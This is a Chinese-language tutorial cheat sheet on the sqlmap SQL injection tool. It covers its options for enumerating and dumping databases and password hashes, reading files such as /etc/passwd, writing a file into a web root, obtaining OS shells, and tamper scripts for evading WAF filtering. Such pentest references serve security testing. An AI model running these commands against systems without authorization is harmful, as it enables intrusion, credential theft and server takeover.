sqlmap基本使用
Sqlmap
sqlmap支持的数据库包括:
MySql、Oracle、PostgreSQL、Microsoft SQL Server、
Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB
sqlmap可探测类型:
基于布尔类型的盲注:根据返回页面判断条件真假的注入
基于时间的盲注:即根据页面返回的内容判断任何信息,要利用条件语句查询时间延迟语句是否执行(即页面返回的时间)来判断
基于报错的注入:页面返回错误信息,或者把注入的语句的结果直接返回到页面中
联合查询注入:在可以返回union的情况下的注入
堆联合查询注入:可以同时执行对条语句时的注入
sqlmap的功能
数据库指纹识别
数据库枚举
数据提取
访问目标文件系统,并在获取完全的操作权限时实行任意命令注入
基本使用:
GET方式
sqlmap -u http://hostname/?id=1
当参数大于等于两个时,需要将url加上双引号
POST方式
sqlmap -u http://hostname/ --data="id=1&name=2"
或者抓包之后将请求头放入req.txt中,然后sqlmap -r req.txt -p id
其他选项
-v:显示信息级别,缺省为1
0、只显示python严重的错误以及严重的信息
1、同时显示基本信息和警告信息
2、显示debug信息
3、同时显示注入的payload
4、同时显示http请求
5、同时显示http的响应头
6、同时显示http的响应页面
目标选择:
-u url、-url=url:目标的url
-m:-m urls.txt,将目标地址保存在文件中,一行为一个url地址进行批量检测
-r:-r post.txt,从文件中加载http请求,sqlmap可以从文本中获取http请求,
可以跳过设置一些其他参数比如(cookie,post数据等)
请求是https时需要配合-force-ssl来使用,或者在host头后面加上:443
-g:从google中加载结果目标url,只获取前100个结果,需要挂代理
请求:指定如何连接到目标的url
-method=METHOD:强制使用给定的HTTP方法
--data = DATA:--data="id=1&name=2",通过POST发送数据参数
--cookie=COOKIE:设置http请求的cookie,level2时,会尝试cookie注入,eg:"PHPSESSID=aaaa"
-A agent:修改http请求中的user-agent,也可以使用--random-agent参数,
随机的从user-agent.txt中获取。(level 3时会尝试对user-agent注入)
-H :额外的http头,eg:"X-Forwarded-For:127.0.0.1"
--referer:伪造http请求中的referer,level=3时,sqlmap尝试referer注入
--host:HTTP请求的host
--ignore-code:忽略http请求error code eg:--ignore-404
--ignore-proxy:忽略系统的代理设置
--ignore-redirect:忽略重定向的尝试
--ignore-timeout:忽略连接超时
--proxy=PROXY:通过代理服务器来连接目标url
--proxy-file=PROXY FILE:加载一个代理列表
--csrf-url=CSRFURL:url地址访问提取anti-csrf令牌
--csrf-token=SCRF TOKEN:参数保存反CSRF令牌
--hpp :使用http参数污染的方法
--force-ssl:强制使用ssl/https
优化
-o:打开所有优化开关
--predict-output:预测普通查询输出
--keep-alive:使用持久http(s)连接
--null-connection:获取页面长度
--threads=THREADS:线程
注入
-p:可测试的参数
--skip=SKIP:跳过给定的参数
--skip-static:跳过不为动态的参数
--dbms=DBMS:设置后台数据库
--os=OS:设置后端的DBMS操作系统
--tamper=TAMPER:设置脚本
检测
--level=LEVEL:设置执行测试的等级。1-5
--risk=RISK:设置执行测试的风险。0-3
技巧
--technique:设置探测技术,默认情况下是所有方式(布尔型、报错型、联合查询....)
--time-sec=TIMESEC:DBMS响应的延迟时间,默认为5s
--union-char=UHCAR:暴力猜测列的字符数
--union-form=UFORM:sql注入union查询使用的格式
指纹
-f,--fingerprint:执行广泛的DBMS版本指纹检查
枚举
-a:获取所有信息
-b:获取DBMS的banner信息
--current-user:获取当前DBMS的用户
--current-db:获取当前DBMS的数据库
--hostname:获取主机名
--is-dba:检测当前用户是不是数据库管理员
--users:枚举DBMS用户
--passwords:枚举数据库管理系统用户密码哈希
--privileges:枚举数据库管理系统用户的权限
--roles:枚举数据库管理系统用户的角色
--dbs:爆破数据库
-D:指定数据库
--tables:爆表
-T:指定表
--columns:爆字段
-C:指定某一列或者某些列
--schema:枚举数据库结构
--dump:转储数据库表项(爆数据)
--dump-all:转储所有表项
--sql-shell:获得交互式shell
访问系统文件
需要是DBA权限
--file-read=FILES:从后端的数据库管理系统文件系统读取文件,eg:--file-read "/etc/passwd"
--file-write=WRITE:编辑后端数据库管理系统的文件系统上的本地文件
--file-dest=DFILE:后端数据库管理系统写入文件的绝对路径
sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --file-write=本地文件路径 --file-dest 网站路径(写入路径)+"/写入的文件名"
sqlmap.py -u "http://www.xx.com/aa.aspx?id=123" --file-write=F:/a.aspx --file-dest D:/虚拟目录/Front/cx.aspx
注:网站路径必须为网站的真实物理路径(即绝对路径。也就是从盘符开始的路径),否则无法写入数据。
操作系统访问
--os-shell:获得shell
--os-cmd=OSCMD:执行操作系统的命令
其他选项
--batch:自动进行选择操作
--charset=HCARSET:强制字符编码
--identify-waf:进行waf、ips、ids保护测试
sqlmap脚本
space2comment.py
用/**/代替空格
apostrophemask.py
用utf8代替引号
equaltolike.py
like代替等号
space2dash.py
绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py
绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py
空格替换为#号,随机字符串以及换行符
apostrophenullencode.py
绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py
空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py
在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py
绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)
空格替换为其它空符号
base64encode.py
用base64编码替换
space2mssqlhash.py
替换空格为#号,并添加一个字符
modsecurityversioned.py
过滤空格,包含完整的查询版本注释
space2mysqlblank.py
空格替换其它空白符号(mysql)
between.py
用between替换大于号(>)
space2mysqldash.py
替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py
围绕SQL关键字添加多个空格
space2plus.py
用+替换空格
bluecoat.py
代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py
双重查询语句,取代SQL关键字
space2randomblank.py
代替空格字符(“”)从一个随机的空白字符可选字符的有效集
chardoubleencode.py
双url编码(不处理以编码的)
unionalltounion.py
替换UNION ALLSELECT UNION SELECT
unmagicquotes.py
宽字符绕过 GPCaddslashes
randomcomments.py
用/**/分割sql关键字
charunicodeencode.py
字符串 unicode 编码
securesphere.py
追加特制的字符串
versionedmorekeywords.py
注释绕过
space2comment.py
替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py
关键字前加注释
percentage.py
asp允许在每个字符前面添加一个%号
sp_password.py
从DBMS日志的自动模糊处理的有效载荷中追加sp_password
charencode.py
对给定的payload全部字符使用url编码
randomcase.py
随机大小写
modsecurityzeroversioned.py
使用mysql内联注释方式(/*!00000*/)进行注入
很多选项没有一一尝试,如有错误,请师傅们指出。
参考链接: